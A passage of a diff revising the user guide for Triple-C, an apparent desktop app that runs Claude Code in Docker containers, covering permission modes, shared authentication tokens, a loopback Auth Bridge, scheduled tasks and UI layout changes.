1 running · 2 terminal(s) Jump to Current ↓ │ +└──────────────────────────────────────────────────────────────────────┘ ``` -- **TopBar** — Terminal tabs for switching between sessions. Bash shell tabs show a "(bash)" suffix. Status dots on the right show Docker connection (green = connected) and image availability (green = ready). -- **Sidebar** — Toggle between the **Projects** list, **MCP** server configuration, and **Settings** panel. -- **Terminal View** — Interactive terminal powered by xterm.js with WebGL rendering. Includes a **Jump to Current** button that appears when you scroll up, so you can quickly return to the latest output. -- **StatusBar** — Counts of total projects, running containers, and open terminal sessions. +- **Tab strip (top)** — One strip holds every open tab, in the order you opened them. There are two + kinds: **Project Home** tabs (`⌂` glyph, project name, status glyph) and **terminal** tabs (`▣` + glyph, plus a small badge showing the permission mode the terminal was launched with — + `plan`, `ask`, `edits` or `bypass`). Bash shell tabs show a "(bash)" suffix. Right-click a + terminal tab to rename it, jump to its project home, or close it; double-click to rename inline. + There is no separate terminal tab bar and no "+" button — tabs appear when you open a project or + a terminal. +- **Status indicators (top right)** — Docker connection and container image availability. Each pairs + a coloured dot with a word, so status is never conveyed by colour alone. The **?** button opens + the built-in help. +- **Sidebar** — Toggle between the **Projects** list and the **Settings** panel. It collapses to a + narrow icon rail with the chevron button, and remembers that choice. +- **Main area** — Shows the active tab: a Project Home view or an xterm.js terminal. With no tabs + open you get a welcome screen with Docker/image/project readiness checks. +- **StatusBar** — Counts of total projects, running containers and open terminal sessions; the + **Jump to Current ↓** button when a terminal is scrolled up; and the microphone button when + speech-to-text is enabled. + +--- + +## Project Home + +Clicking a project in the sidebar opens **Project Home** in the main area. The sidebar row is only +for selecting a project and for two quick controls that appear on hover — start/stop, and open a +Claude terminal. Everything else about a project lives in Project Home. + +The header shows the project name, its status, how long the container has been up, and the action +buttons. Below that are five tabs: + +| Tab | What it's for | +|---|---| +| **Overview** | The permission mode control, a summary of the backend and sandbox settings, capability tiles, recent sessions and scheduled tasks | +| **Sessions** | Past Claude Code conversations stored on this project's config volume, each with a **Resume** button | +| **Automation** | The scheduled tasks running inside this container — see [Automation & Scheduled Tasks](#automation--scheduled-tasks) | +| **Config** | All per-project configuration — see [Project Configuration](#project-configuration) | +| **Files** | Browse, download and upload files inside the container | + +### Sessions + +Claude Code records each conversation on the project's config volume. The **Sessions** tab lists +them with a name or summary, the session id, its working directory, its age, size and message +count. **Refresh** re-reads the list. + +**Resume** opens a new shell tab and runs `claude --resume ` for you, with the +project's current permission-mode flags applied. The Overview tab shows the four most recent +sessions with the same Resume action. + +Sessions can only be read while the container is running, and they are stored on the config volume +— so a **Reset** deletes them. + +### Capability Tiles + +The Overview tab shows read-only counts of what Claude Code has available **inside this container**: + +| Tile | What is counted | +|---|---| +| **Skills** | Directories under `.claude/skills/` that contain a `SKILL.md` | +| **Agents** | `.md` files under `.claude/agents/` | +| **Commands** | `.md` files under `.claude/commands/` | +| **Hooks** | Hook handlers configured in `.claude/settings.json` / `settings.local.json` | +| **Plugins** | Installed and enabled Claude Code plugins | +| **MCP servers** | Servers in `~/.claude.json` and in any `.mcp.json` under `/workspace` | + +Both user scope (`/home/claude/.claude`) and project scope (`/workspace//.claude`) are +included, and each tile opens a list of what it found. + +> **Triple-C does not edit any of this.** Claude Code owns skills, agents, commands, hooks, plugins +> and MCP servers, and it has good built-in tooling for them. The tiles are a window, not an editor: +> **Manage in terminal** opens a terminal in the container so you can use `/agents`, `/hooks`, +> `/plugins`, `/mcp` and friends directly. + +The counts are only available while the container is running. --- @@ -154,59 +252,135 @@ Claude Code launches automatically. By default, it runs in standard permission m ### Project Status -Each project shows a colored status dot: +Each project shows a status glyph paired with a word, so it is readable without relying on colour: -| Color | Status | Meaning | +| Glyph | Status | Meaning | |-------|--------|---------| -| Gray | Stopped | Container is not running | -| Orange | Starting / Stopping | Container is transitioning | -| Green | Running | Container is active, ready for terminals | -| Red | Error | Something went wrong (check error message) | +| `○` | Stopped | Container is not running | +| `◐` | Starting / Stopping | Container is transitioning (the glyph pulses) | +| `●` | Running | Container is active, ready for terminals | +| `▲` | Error | Something went wrong (check the toast for detail) | + +While a container is starting or stopping, the status line is replaced by the live progress message. ### Project Actions -Select a project in the sidebar to see its action buttons: +Most actions live in the **Project Home header**; two live behind the **⋯** overflow menu next to +it. The sidebar row carries only the two hover controls. -| Button | When Available | What It Does | -|--------|---------------|--------------| -| **Start** | Stopped | Creates (if needed) and starts the container | -| **Stop** | Running | Stops the container but preserves its state | -| **Terminal** | Running | Opens a new Claude Code terminal session | -| **Shell** | Running | Opens a bash login shell in the container (no Claude Code) | -| **Files** | Running | Opens the file manager to browse, download, and upload files | -| **Reset** | Stopped | Destroys and recreates the container from scratch | -| **Config** | Always | Toggles the configuration panel | -| **Remove** | Stopped | Deletes the project and its container (with confirmation) | +| Action | Where | When Available | What It Does | +|--------|-------|---------------|--------------| +| **Start** | Project Home header; sidebar hover control | Stopped | Creates (if needed) and starts the container | +| **Stop** | Project Home header; sidebar hover control | Running | Stops the container but preserves its state | +| **Force stop** | Project Home header | Starting / Stopping | Interrupts a transition that is stuck | +| **Open Claude Terminal** | Project Home header; sidebar hover control; `Ctrl+T` | Running | Opens a new Claude Code terminal tab | +| **Shell** | Project Home header | Running | Opens a bash login shell tab in the container (no Claude Code) | +| **Files** | Project Home header, and the **Files** tab | Running | Switches to the Files tab to browse, download and upload files | +| **Config** | The **Config** tab | Always | Per-project configuration (most fields need the container stopped) | +| **Back up container** | **⋯** overflow menu | A container exists | Saves a `.tar.gz` archive of the container to a location you choose | +| **Reset container…** | **⋯** overflow menu | Stopped or Error | Destroys the container, snapshot image and both volumes, then recreates from the base image (wipes `~/.claude`) — asks first | +| **Remove project…** | **⋯** overflow menu | Always | Deletes the project, its container, its volumes and its stored credentials — asks first | + +> Both destructive actions confirm before acting, and the Reset dialog spells out what you +> lose: your `claude login`, anything installed inside the container, and every saved +> session transcript. Your mounted project folders live on the host and are not touched. + +> The backup archive includes the Claude config volume, which may contain API keys. Keep it private. ### Renaming a Project -Double-click the project name in the sidebar to rename it inline. Press **Enter** to confirm or **Escape** to cancel. +Rename a project in its **Config** tab, under **Workspace → Project name**. Press **Enter** to save +and leave the field, or **Escape** to revert. (Double-clicking a *terminal tab* renames that tab — +that is a different thing.) ### Container Lifecycle Containers use a **stop/start** model. When you stop a container, everything inside it is preserved — installed packages, modified files, downloaded tools. Starting it again resumes where you left off. -**Reset** removes the container and creates a fresh one. However, your Claude Code configuration (including OAuth tokens from `claude login`) is stored in a separate Docker volume and survives resets. +**Reset container** removes the container, its snapshot image **and both of its named volumes** +(`triple-c-home-` and `triple-c-claude-config-`), then creates a fresh one +from the clean base image. This is destructive: `~/.claude` and `~/.claude.json` go with the +volumes, so your per-container OAuth login, any skills or agents you installed, your session +transcripts and your scheduled tasks are all lost. -Only **Remove** deletes everything, including the config volume and any stored credentials. +What Reset keeps: your host folders (they are bind mounts and are never touched), the project's +configuration in Triple-C, and anything stored in your OS keychain — including the shared Claude +authentication token. If the project uses that shared token, it re-authenticates by itself after a +Reset; if it relies on `claude login`, you will need to log in again. + +Apart from **Remove project…**, Reset is the only action that deletes the volumes. Stopping and +starting preserves them, and so does the automatic container recreation that happens when you +change a setting that affects the container — in both cases your Claude Code configuration +survives. + +**Remove project…** deletes everything Reset does, plus the project record itself and its stored +credentials. ### Container Progress Feedback -When starting, stopping, or resetting a container, a progress modal shows real-time status messages (e.g., "Setting up MCP network...", "Starting MCP containers...", "Creating container..."). If an error occurs, the modal displays the error with a **Close** button. A **Force Stop** option is available if the operation stalls. The modal auto-closes on success. +When starting, stopping, or resetting a container, progress is shown inline on the project row and in the Project Home header (e.g., "Creating container...", "Starting container..."), so the rest of the app stays usable. If an error occurs it is raised as a toast with the full detail behind a **Details** disclosure. There is no blocking progress modal. + +--- + +## Permission Modes + +Every project has a **permission mode** that decides how much Claude Code does without asking. It +is a segmented control on the **Overview** tab (and again under **Config → Runtime**), and it +replaces the old Full Permissions on/off switch. + +| Mode | What Claude does | What Triple-C passes to `claude` | +|------|------------------|----------------------------------| +| **Plan** | Proposes a plan and makes no changes | `--permission-mode plan` | +| **Default** | Asks before each tool call | *(nothing — Claude Code's own default)* | +| **Accept Edits** | Auto-approves file edits; other tools still prompt | `--permission-mode acceptEdits` | +| **Bypass** | Auto-approves every tool call | `--dangerously-skip-permissions` | + +New projects start in **Default**. Projects created before permission modes existed keep behaving +the way they did: one that had Full Permissions on becomes **Bypass**, one that had it off becomes +**Default**. + +> **CAUTION:** In **Bypass**, Claude can execute any command inside the container without asking. +> The container sandbox limits the blast radius, but think carefully — especially if the container +> has Docker socket access or reaches services on your network. The Overview tab tells you whether +> the in-container sandbox is also on. + +### When a change takes effect + +- **Terminals** — the mode is applied when a terminal is opened, so it affects terminals you open + from then on. A Claude session that is already running keeps the permissions it started with; + close the tab and open a new terminal to change it. The badge on each terminal tab shows the mode + that terminal was launched with (`plan`, `ask`, `edits`, `bypass`). +- **Resumed sessions** — a session resumed from the **Sessions** tab uses the project's current + mode. +- **Scheduled tasks** — these now honour the permission mode too (they previously always ran with + `--dangerously-skip-permissions`). The mode reaches them through the container's environment, + which can only change when the container is recreated, so **stop and start the project** for a + mode change to reach the scheduler. + +> Scheduled tasks run headless (`claude -p`) and cannot answer a permission prompt. In any mode +> other than **Bypass**, a task may simply stop early when Claude Code asks for approval. Its run +> log records which mode it used. --- ## Project Configuration -Click **Config** on a selected project to expand the configuration panel. Settings can only be changed when the container is **stopped** (an orange warning box appears if the container is running). +Open a project's **Config** tab in Project Home. Configuration is grouped into four sections — +**Workspace**, **Model**, **Access** and **Runtime** — plus **Claude instructions** and **Claude +Code settings**. + +Changes save automatically when a field loses focus, and a Saved / Saving… / Failed indicator in +the corner tells you what happened. Most settings can only be changed when the container is +**stopped**; a warning chip appears at the top of the tab if it is running. (The project name and +the permission mode can be changed at any time.) ### Mounted Folders Each project mounts one or more host directories into the container. The mount appears at `/workspace/` inside the container. -- Click **Browse** ("...") to change the host path +- Click **Browse** to change the host path - Edit the mount name to control where it appears inside `/workspace/` -- Click **+** to add more folders, or **x** to remove one +- Click **+ Add folder** to add more, or **Remove** to drop one (the last remaining folder cannot be removed) - Mount names must be unique and use only letters, numbers, dashes, underscores, and dots ### SSH Keys @@ -237,27 +411,31 @@ Available skills include `/mission`, `/flight`, `/leg`, `/agentic-workflow`, `/f > This setting can only be changed when the container is stopped. Toggling it triggers a container recreation on the next start. -### Full Permissions +### Permission Mode -Toggle **Full Permissions** to allow Claude Code to run with `--dangerously-skip-permissions` inside the container. This is **off by default**. +The **Runtime** section repeats the permission mode control from the Overview tab — see +[Permission Modes](#permission-modes) for what each mode does and when a change takes effect. -When **enabled**, Claude auto-approves all tool calls (file edits, shell commands, etc.) without prompting you. This is the fastest workflow since you won't be interrupted for approvals, and the Docker container provides isolation. +### Sandbox Mode -When **disabled** (default), Claude prompts you for approval before executing each action, giving you fine-grained control over what it does. - -> **CAUTION:** Enabling full permissions means Claude can execute any command inside the container without asking. While the container sandbox limits the blast radius, make sure you understand the implications — especially if the container has Docker socket access or network connectivity. - -> This setting can only be changed when the container is stopped. It takes effect the next time you open a terminal session. +Toggles Claude Code's in-container bubblewrap isolation. The Overview tab shows the current state +next to the permission mode, because the two together decide how contained a Bypass-mode session +really is. ### Environment Variables -Click **Edit** to open the environment variables modal. Add key-value pairs that will be injected into the container. Per-project variables override global variables with the same key. +Add key-value pairs under **Access → Environment variables**; they are injected into the container. +Per-project variables override global variables with the same key. -> Reserved prefixes (`ANTHROPIC_`, `AWS_`, `GIT_`, `HOST_`, `TRIPLE_C_`) and specific internal variables (`CLAUDE_INSTRUCTIONS`, `MCP_SERVERS_JSON`, etc.) are filtered out to prevent conflicts. `CLAUDE_CODE_*` variables are now allowed, so you can set Claude Code feature flags directly (e.g., `CLAUDE_CODE_DISABLE_TERMINAL_TITLE=1`). +> Reserved prefixes (`ANTHROPIC_`, `AWS_`, `GIT_`, `HOST_`, `TRIPLE_C_`) are filtered out to prevent +> conflicts, along with the exact names Triple-C manages itself: `CLAUDE_INSTRUCTIONS`, +> `CLAUDE_CODE_SETTINGS_JSON`, `CLAUDE_CODE_OAUTH_TOKEN`, `MISSION_CONTROL_ENABLED`, +> `TRIPLE_C_PERMISSION_MODE` and `MCP_SERVERS_JSON`. Other `CLAUDE_CODE_*` variables are allowed, so +> you can set Claude Code feature flags directly (e.g., `CLAUDE_CODE_DISABLE_TERMINAL_TITLE=1`). ### Port Mappings -Click **Edit** to map host ports to container ports. This is useful when Claude Code starts a web server or other service inside the container and you want to access it from your host browser. +Under **Access → Port mappings**, map host ports to container ports. This is useful when Claude Code starts a web server or other service inside the container and you want to access it from your host browser. Each mapping specifies: - **Host Port** — The port on your machine (1-65535) @@ -266,11 +444,11 @@ Each mapping specifies: ### Claude Instructions -Click **Edit** to write per-project instructions for Claude Code. These are written to `~/.claude/CLAUDE.md` inside the container and provide project-specific context. If you also have global instructions (in Settings), the global instructions come first, followed by the per-project instructions. +The **Claude instructions** editor at the bottom of the Config tab holds per-project instructions for Claude Code. These are written to `~/.claude/CLAUDE.md` inside the container and provide project-specific context. If you also have global instructions (in Settings), the global instructions come first, followed by the per-project instructions. ### Claude Code Settings -Click **Edit** next to "Claude Code Settings" to configure Claude Code CLI behavior for this project. These settings control how Claude Code operates inside the container: +The **Claude Code settings** editor, also at the bottom of the Config tab, configures Claude Code CLI behavior for this project. These settings control how Claude Code operates inside the container: | Setting | What It Does | |---------|-------------| @@ -287,146 +465,127 @@ Per-project settings override global defaults set in Settings. If all settings a > These settings map to Claude Code environment variables and `~/.claude/settings.json` entries. Changes require stopping and restarting the container to take effect. +### MCP Servers + +Triple-C no longer manages [MCP](https://modelcontextprotocol.io/) servers itself. Configure them with Claude Code's own tooling from a terminal inside the container: + +- `claude mcp add` — register a server +- `claude mcp list` — show configured servers +- `claude mcp remove` — delete a server +- `/mcp` — slash command inside a Claude Code session for MCP status and authentication +- A project-level `.mcp.json` in `/workspace` — checked into your repo and shared with anyone who opens the project + +Your MCP configuration persists across container stop/start because `~/.claude.json` and `~/.claude` live on named Docker volumes. A **Reset** wipes them, so you would need to re-add your servers afterwards. + --- -## MCP Servers (Beta) +## Shared Claude Authentication -Triple-C supports [Model Context Protocol (MCP)](https://modelcontextprotocol.io/) servers, which extend Claude Code with access to external tools and data sources. MCP servers are configured in a **global library** and **enabled per-project**. +Instead of running `claude login` separately in every container, you can authenticate once and +share the result across projects. Claude Code's `claude setup-token` mints a long-lived token +(roughly a year) that Triple-C stores in your **OS keychain** and injects into containers as +`CLAUDE_CODE_OAUTH_TOKEN`. -### How It Works +This lives in the sidebar under **Settings → Claude Authentication**. -There are two dimensions to MCP server configuration: +### Signing in -| | **Manual** (no Docker image) | **Docker** (Docker image specified) | -|---|---|---| -| **Stdio** | Command runs inside the project container | Command runs in a separate MCP container via `docker exec` | -| **HTTP** | Connects to a URL you provide | Runs in a separate container, reached by hostname on a shared Docker network | +1. Start at least one project whose container is running — the flow borrows that container as a + place to run the CLI. The token it produces is global, not tied to that project. +2. Start the sign-in. Triple-C runs `claude setup-token` inside the container and streams its + output. +3. Claude Code prints an authorization URL. Open it, sign in, and Anthropic's page gives you a + code to copy — this flow finishes on an Anthropic-hosted page, not a local callback. +4. Paste the code back into Triple-C. The token is captured and written straight to the keychain. -**Docker images are pulled automatically** if not already present when the project starts. +Only one sign-in can run at a time, and the whole flow times out after 15 minutes. A long-lived +token requires a Claude subscription; without one, `setup-token` finishes without printing a token +and nothing is stored. -### Accessing MCP Configuration +### How the token is used -Click the **MCP** tab in the sidebar to open the MCP server library. This is where you define all available MCP servers. +- It is injected only into projects whose backend is **Anthropic** — it means nothing to Bedrock, + Ollama or an OpenAI-compatible endpoint. +- Each project can opt out under **Config → Model** ("Use the shared Claude token"). Projects are + opted **in** by default, so a single sign-in covers your whole fleet; opt a project out if you + want it pinned to its own `claude login` identity. +- `CLAUDE_CODE_OAUTH_TOKEN` is reserved — you cannot set it yourself as a custom environment + variable, because a hand-set value would silently outrank the stored token. +- A container picks the token up when it is **next started**: acquiring, re-acquiring, revoking or + opting out changes an internal marker that triggers a container recreation on the next start. + Restart your Anthropic-backend containers after signing in. -### Adding an MCP Server +### Revoking -1. Type a name in the input field and click **Add**. -2. Expand the server card and configure it. +Revoking deletes the token from your keychain. Containers keep the value they were given until each +is next started, at which point the same recreation clears the variable. -The key decision is whether to set a **Docker Image**: -- **With Docker image** — The MCP server runs in its own isolated container. Best for servers that need specific dependencies or system-level packages. -- **Without Docker image** (manual) — The command runs directly inside your project container. Best for lightweight npx-based servers that just need Node.js. +> The token is never shown in the app, never written to a log, and never sent to the frontend. +> While `setup-token` is running, its output is filtered so anything resembling an `sk-ant-` +> secret is masked before it reaches the screen — including a secret split across two chunks of +> output. -Then choose the **Transport Type**: -- **Stdio** — The MCP server communicates over stdin/stdout. This is the most common type. -- **HTTP** — The MCP server exposes an HTTP endpoint (streamable HTTP transport). +--- -### Configuration Examples +## Browser Logins Inside the Container (Auth Bridge) -#### Example 1: Filesystem Server (Stdio, Manual) +Some CLIs log you in by opening a browser and waiting for the browser to call back to a temporary +web server they started on `localhost`. `claude login`, `aws sso login` and Concourse's +`fly login` all work this way. When the CLI runs inside a container, that `localhost` is the +*container's* — the browser on your host calls back into nothing and the login hangs forever. -A simple npx-based server that runs inside the project container. No Docker image needed since Node.js is already installed. +The **Auth Bridge** fixes this. It is **opt-in per project** and **off by default**. -| Field | Value | -|-------|-------| -| **Docker Image** | *(empty)* | -| **Transport** | Stdio | -| **Command** | `npx` | -| **Arguments** | `-y @modelcontextprotocol/server-filesystem /workspace` | +### What it does -This gives Claude Code access to browse and read files via MCP. The command runs directly inside the project container using the pre-installed Node.js. +- Every couple of seconds it looks inside the container for programs listening on the container's + loopback address, and binds **the same port number** on your host. That is the whole trick: the + redirect URL the login provider was handed resolves correctly on both sides. +- Connections are carried into the container over the Docker API, which keeps working on Docker + Desktop where container IP addresses are not reachable from the host. +- It follows whichever address family the container program actually used. This matters in + practice: Node resolves `localhost` to IPv6 first on Linux, so `claude login` frequently listens + on `::1` and nothing else. +- Ports you have already configured as port mappings are left alone. If a host port is already + taken, the bridge reports a conflict and leaves it alone rather than fighting for it — it will + retry on a later pass. +- The bridge is entirely host-side, so turning it on or off never recreates the container. It stops + by itself when the container stops. -#### Example 2: GitHub Server (Stdio, Manual) +### Security -Another npx-based server, with an environment variable for authentication. +The host side binds **loopback only** — `127.0.0.1` and `[::1]`, never a wildcard address. Nothing +on your network can reach a bridged port. Within your own machine, though, a bridged port is +reachable by any local process for as long as the in-container listener exists, and the services +behind it are unauthenticated: they bound loopback precisely because they expected to be reachable +from nowhere else. Only container programs that bound loopback are bridged; anything listening on +all interfaces is deliberately ignored (publishing those is what port mappings are for). -| Field | Value | -|-------|-------| -| **Docker Image** | *(empty)* | -| **Transport** | Stdio | -| **Command** | `npx` | -| **Arguments** | `-y @modelcontextprotocol/server-github` | -| **Environment Variables** | `GITHUB_PERSONAL_ACCESS_TOKEN` = `ghp_your_token` | - -#### Example 3: Custom MCP Server (HTTP, Docker) - -An MCP server packaged as a Docker image that exposes an HTTP endpoint. - -| Field | Value | -|-------|-------| -| **Docker Image** | `myregistry/my-mcp-server:latest` | -| **Transport** | HTTP | -| **Container Port** | `8080` | -| **Environment Variables** | `API_KEY` = `your_key` | - -Triple-C will: -1. Pull the image automatically if not present -2. Start the container on the project's bridge network -3. Configure Claude Code to reach it at `http://triple-c-mcp-{id}:8080/mcp` - -The hostname is the MCP container's name on the Docker network — **not** `localhost`. - -#### Example 4: Database Server (Stdio, Docker) - -An MCP server that needs its own runtime environment, communicating over stdio. - -| Field | Value | -|-------|-------| -| **Docker Image** | `mcp/postgres-server:latest` | -| **Transport** | Stdio | -| **Command** | `node` | -| **Arguments** | `dist/index.js` | -| **Environment Variables** | `DATABASE_URL` = `postgresql://user:pass@host:5432/db` | - -Triple-C will: -1. Pull the image and start it on the project network -2. Configure Claude Code to communicate via `docker exec -i triple-c-mcp-{id} node dist/index.js` -3. Automatically enable Docker socket access on the project container (required for `docker exec`) - -### Enabling MCP Servers Per-Project - -In a project's configuration panel (click **Config**), the **MCP Servers** section shows checkboxes for all globally defined servers. Toggle each server on or off for that project. Changes take effect on the next container start. - -### How Docker-Based MCP Works - -When a project with Docker-based MCP servers starts: - -1. Missing Docker images are **automatically pulled** (progress shown in the progress modal) -2. A dedicated **bridge network** is created for the project (`triple-c-net-{projectId}`) -3. Each enabled Docker MCP server gets its own container on that network -4. The main project container is connected to the same network -5. MCP server configuration is written to `~/.claude.json` inside the container - -**Networking**: Docker-based MCP containers are reached by their container name as a hostname (e.g., `triple-c-mcp-{serverId}`), not by `localhost`. Docker DNS resolves these names automatically on the shared bridge network. - -**Stdio + Docker**: The project container uses `docker exec` to communicate with the MCP container over stdin/stdout. This automatically enables Docker socket access on the project container. - -**HTTP + Docker**: The project container connects to the MCP container's HTTP endpoint using the container hostname and port (e.g., `http://triple-c-mcp-{serverId}:3000/mcp`). - -**Manual (no Docker image)**: Stdio commands run directly inside the project container. HTTP URLs connect to wherever you point them (could be an external service or something running on the host). - -### Configuration Change Detection - -MCP server configuration is tracked via SHA-256 fingerprints stored as Docker labels. If you add, remove, or modify MCP servers for a project, the container is automatically recreated on the next start to apply the new configuration. The container filesystem is snapshotted first, so installed packages are preserved. +Leave it off unless you need it, and it will not be running. --- ## AWS Bedrock Configuration -To use Claude via AWS Bedrock instead of Anthropic's API, switch the backend to **Bedrock** on the project card. +To use Claude via AWS Bedrock instead of Anthropic's API, set **Backend** to **Bedrock** under +**Config → Model**. ### Authentication Methods | Method | Fields | Use Case | |--------|--------|----------| -| **Keys** | Access Key ID, Secret Access Key, Session Token (optional) | Direct credentials — simplest setup | -| **Profile** | AWS Profile name | Uses `~/.aws/config` and `~/.aws/credentials` on the host | -| **Token** | Bearer Token | Temporary bearer token authentication | +| **Static keys** | Access Key ID, Secret Access Key, Session Token (optional) | Direct credentials — simplest setup | +| **Named profile** | AWS Profile name | Uses `~/.aws/config` and `~/.aws/credentials` on the host | +| **Bearer token** | Bearer Token | Temporary bearer token authentication | + +With **Named profile**, the SSO session is validated before Claude Code launches, so an expired +session is caught at the start of a terminal rather than mid-task. ### Additional Bedrock Settings - **AWS Region** — Required. The region where your Bedrock models are deployed (e.g., `us-east-1`). - **Model ID** — Optional. Override the default Claude model (e.g., `anthropic.claude-sonnet-4-20250514-v1:0`). +- **Service tier** — Optional. Selects a Bedrock service tier. ### Global AWS Defaults @@ -442,7 +601,7 @@ Per-project settings always override these global defaults. ## Ollama Configuration -To use Claude Code with a local or remote Ollama server, switch the backend to **Ollama** on the project card. +To use Claude Code with a local or remote Ollama server, set **Backend** to **Ollama** under **Config → Model**. ### Settings @@ -461,7 +620,7 @@ Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your Ollama server in ## OpenAI Compatible Configuration -To use Claude Code through any OpenAI API-compatible endpoint, switch the backend to **OpenAI Compatible** on the project card. This works with any server that exposes an OpenAI-compatible API, including LiteLLM, OpenRouter, vLLM, text-generation-inference, LocalAI, and others. +To use Claude Code through any OpenAI API-compatible endpoint, set **Backend** to **OpenAI Compatible** under **Config → Model**. This works with any server that exposes an OpenAI-compatible API, including LiteLLM, OpenRouter, vLLM, text-generation-inference, LocalAI, and others. ### Settings @@ -479,7 +638,14 @@ Triple-C sets `ANTHROPIC_BASE_URL` to point Claude Code at your OpenAI-compatibl ## Settings -Access global settings via the **Settings** tab in the sidebar. +Access global settings via the **Settings** tab in the sidebar. The panel is a set of collapsible +sections: **General**, **Claude Authentication**, **Backends**, **Container**, **Git / SSH**, +**Tools** and **Updates**. + +### Claude Authentication + +Acquire or revoke the shared Claude authentication token — see +[Shared Claude Authentication](#shared-claude-authentication). ### Docker Settings @@ -574,7 +740,14 @@ The web terminal UI mirrors the desktop app's terminal experience: ### Multiple Sessions -You can open multiple terminal sessions (even for the same project). Each session gets its own tab in the top bar. Click a tab to switch, or click the **x** on a tab to close it. Tabs show the project name (or custom session name if provided), with a "(bash)" suffix for shell sessions. +You can open multiple terminal sessions (even for the same project). Each session gets its own tab +in the main tab strip, alongside any open Project Home tabs. Click a tab to switch, or click the +**×** on a tab to close it. Tabs show the project name (or a custom session name if you set one), +with a "(bash)" suffix for shell sessions and a badge for the permission mode the session was +launched with. + +Right-click a terminal tab for **Rename tab**, **Reset name**, **Open project home** and +**Close tab**; double-click it to rename inline. ### Bash Shell Sessions @@ -602,16 +775,16 @@ You can paste images from your clipboard into the terminal (Ctrl+V / Cmd+V). The When you scroll up in the terminal to review previous output, a **Jump to Current** button appears in the bottom-right corner. Click it to scroll back to the latest output. -### File Manager +### Files -Click the **Files** button on a running project to open the file manager modal. You can: +The **Files** tab of Project Home browses inside a running container. You can: -- **Browse** the container filesystem starting from `/workspace`, with breadcrumb navigation -- **Download** any file to your host machine via the download button on each file entry -- **Upload** files from your host into the current container directory +- **Browse** the container filesystem, starting at `/workspace`, with breadcrumb navigation +- **Download** any file to your host machine via the **Download** button on each file entry +- **Upload file** from your host into the current container directory - **Refresh** the directory listing at any time -The file manager shows file names, sizes, and modification dates. +The listing shows file names, sizes, and modification dates. ### Terminal Rendering @@ -619,9 +792,48 @@ The terminal uses WebGL for hardware-accelerated rendering of the active tab. In --- -## Scheduled Tasks (Inside the Container) +## Automation & Scheduled Tasks -Once inside a running container terminal, you can set up recurring or one-time tasks using `triple-c-scheduler`. Tasks run as separate Claude Code sessions. +Each container can run Claude Code on a schedule — recurring or one-time — through a small +scheduler called `triple-c-scheduler` that lives inside the image. Tasks run as separate, +headless Claude Code invocations (`claude -p ""`) driven by cron. + +The **Automation** tab in Project Home is the place to watch and control them; tasks are created +from inside the container with the `triple-c-scheduler` CLI. + +### The Automation Tab + +With the container running, the Automation tab lists every task the scheduler knows about. For each +one you get its name, whether it is recurring or one-time, its cron expression or scheduled time, +and when it last ran. For each task you can: + +| Control | What it does | +|---------|--------------| +| **Toggle** | Enable or disable the task without deleting it | +| **Run now** | Trigger the task immediately, outside its schedule | +| **Log** | Show the tail of that task's run log (last 200 lines) | +| **Remove** | Delete the task, after a confirmation | + +**Refresh** re-reads everything from the container. + +When tasks finish they leave **notifications**. If any are waiting, a panel appears at the top of +the tab listing each one with its task name, whether it succeeded or failed, how long ago it ran +and a summary. **Clear all** dismisses them. The Overview tab also shows a notification count and +the next few scheduled tasks. + +### Permission mode + +Scheduled runs use the project's [permission mode](#permission-modes) — they no longer always run +with `--dangerously-skip-permissions`. Because the mode travels into the container as an +environment variable, **stop and start the project** after changing it for the scheduler to see the +change. Remember that a headless run cannot answer a permission prompt, so in any mode other than +**Bypass** a task may stop early when Claude Code asks for approval; the run log records the mode +that was used. + +### Creating Tasks (In the Container) + +There is no "add task" form in the app. Create tasks from a terminal in the container — either type +the commands yourself in a **Shell** session, or just ask Claude to do it. ### Create a Recurring Task @@ -637,7 +849,9 @@ triple-c-scheduler add --name "migrate-db" --at "2026-03-05 14:00" --prompt "Run One-time tasks automatically remove themselves after execution. -### Manage Tasks +### Manage Tasks From the CLI + +The CLI still works, and does the same things the Automation tab does: ```bash triple-c-scheduler list # List all tasks @@ -670,6 +884,39 @@ By default, tasks run in `/workspace`. Use `--working-dir` to specify a differen triple-c-scheduler add --name "test" --schedule "0 */6 * * *" --prompt "Run tests" --working-dir /workspace/my-project ``` +> Scheduled tasks live on the project's config volume, so a **Reset** deletes them along with +> everything else on that volume. + +--- + +## Keyboard Shortcuts + +### Application + +| Shortcut | Action | +|----------|--------| +| **Ctrl+T** | Open a new Claude terminal for the current project (nothing happens unless its container is running) | +| **Ctrl+Shift+W** | Close the active tab | +| **Ctrl+Tab** | Switch to the next tab | +| **Ctrl+Shift+Tab** | Switch to the previous tab | +| **Ctrl+1** … **Ctrl+9** | Jump to the first through ninth tab | + +> **Why Ctrl+Shift+W and not Ctrl+W?** `Ctrl+W` is readline's `kill-word` — it deletes the word +> before the cursor, and it is used constantly in the terminal this app is built around. Binding it +> to "close tab" would make the shell unusable, so Triple-C deliberately leaves `Ctrl+W` alone. + +### In the Terminal + +| Shortcut | Action | +|----------|--------| +| **Ctrl+Shift+C** | Copy the selection, with trailing whitespace trimmed | +| **Ctrl+Shift+Alt+C** | Copy the selection exactly as-is | +| **Ctrl+Shift+V** | Paste | +| **Ctrl+V** | Paste an image from the clipboard into the container | +| **Ctrl+Shift+M** | Toggle speech-to-text recording (when enabled) | + +Everything else goes straight through to the program running in the container. + --- ## What's Inside the Container @@ -735,7 +982,7 @@ These features are built into Claude Code and work inside Triple-C containers wi - Check that the Docker image is "Ready" in Settings. - Verify that the mounted folder paths exist on your host. -- Look at the error message displayed in the progress modal. +- Read the error toast — the full message is behind its **Details** disclosure. ### OAuth Login URL Not Opening @@ -743,22 +990,39 @@ These features are built into Claude Code and work inside Triple-C containers wi - If the toast doesn't appear, try scrolling up in the terminal — the URL may have already been printed. - You can also manually copy the URL from the terminal output and paste it into your browser. +### A Browser Login Never Completes + +You opened the URL, signed in successfully, and the CLI in the terminal is still waiting. The +callback from your browser is landing on your host's `localhost` while the CLI is listening on the +*container's*. Enable the +[Auth Bridge](#browser-logins-inside-the-container-auth-bridge) for that project and try again. + +For Claude specifically, the simpler answer is usually +[Shared Claude Authentication](#shared-claude-authentication), which finishes on an Anthropic-hosted +page and needs no callback at all. + +### A Scheduled Task Stopped Part-Way Through + +Scheduled tasks run headless and cannot answer a permission prompt. If the project is not in +**Bypass** mode, a task will stop when Claude Code asks for approval. Check the task's **Log** in +the Automation tab — it records the permission mode the run used. + +### A Permission Mode Change Didn't Apply + +- **In a terminal:** the mode is set when the terminal opens. Close the tab and open a new one. +- **For scheduled tasks:** the mode reaches the scheduler through the container's environment. 